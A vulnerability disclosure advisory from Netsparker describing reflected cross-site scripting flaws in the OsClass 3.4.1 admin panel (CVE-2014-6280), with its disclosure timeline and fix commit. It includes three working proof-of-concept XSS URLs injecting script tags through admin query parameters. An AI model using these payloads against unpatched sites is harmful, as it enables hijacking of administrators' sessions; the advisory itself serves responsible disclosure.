OsClass 3.4.1 Cross Site Scripting

`Information  
------------  
Advisory by Netsparker.  
Name: XSS Vulnerability in OsClass  
Affected Software : OsClass  
Affected Versions: 3.4.1 and possibly below  
Vendor Homepage : http://osclass.org/  
Vulnerability Type : Cross-site Scripting  
Severity : Critical  
CVE-ID: CVE-2014-6280  
Netsparker Advisory Reference : NS-14-030  
  
Advisory URL  
------------  
https://www.netsparker.com/xss-vulnerabilities-in-osclass/  
  
Description  
-----------  
Several cross-site scripting vulnerabilities where discovered in  
Osclass, an open source project that allows you to create a  
classifieds sites.  
  
Technical Details  
-----------------  
Proof of Concept URLs for XSS in OsClass:  
  
http://example.com/osclass/oc-admin/index.php?page=items&action='"--></style></scRipt><scRipt>alert(0x001394)</scRipt>  
http://example.com/osclass/oc-admin/index.php?page=items&nsextt='"--></style></scRipt><scRipt>alert(0x001364)</scRipt>  
http://example.com/osclass/oc-admin/index.php?page=items&action=items_reported&nsextt='"--></style></scRipt><scRipt>alert(0x001396)</scRipt>  
  
For more information on cross-site scripting vulnerabilities read the  
article on Cross-site Scripting (XSS) from the following URL;  
https://www.netsparker.com/web-vulnerability-scanner/vulnerability-security-checks-index/crosssite-scripting-xss/.  
  
Advisory Timeline  
-----------------  
03/09/2014 - First Contact  
03/09/2014 - Vulnerability fixed:  
https://github.com/osclass/Osclass/commit/c163bf5910d0d36424d7fc678da6b03a0e443435  
15/09/2014 - Fix released publicly in Osclass 3.4.2  
  
Credits & Authors  
--------------------  
These issues have been discovered by Omar Kurt while testing  
Netsparker Web Application Security Scanner.  
  
About Netsparker  
--------------------  
Netsparker can find and report security issues and vulnerabilities  
such as SQL Injection and Cross-site Scripting (XSS) in all websites  
and web applications regardless of the platform and the technology  
they are built on. Netsparker's unique detection and exploitation  
techniques allows it to be dead accurate in reporting hence it's the  
first and the only False Positive Free web application security  
scanner. For more information on Netsparker visit  
https://www.netsparker.com.  
`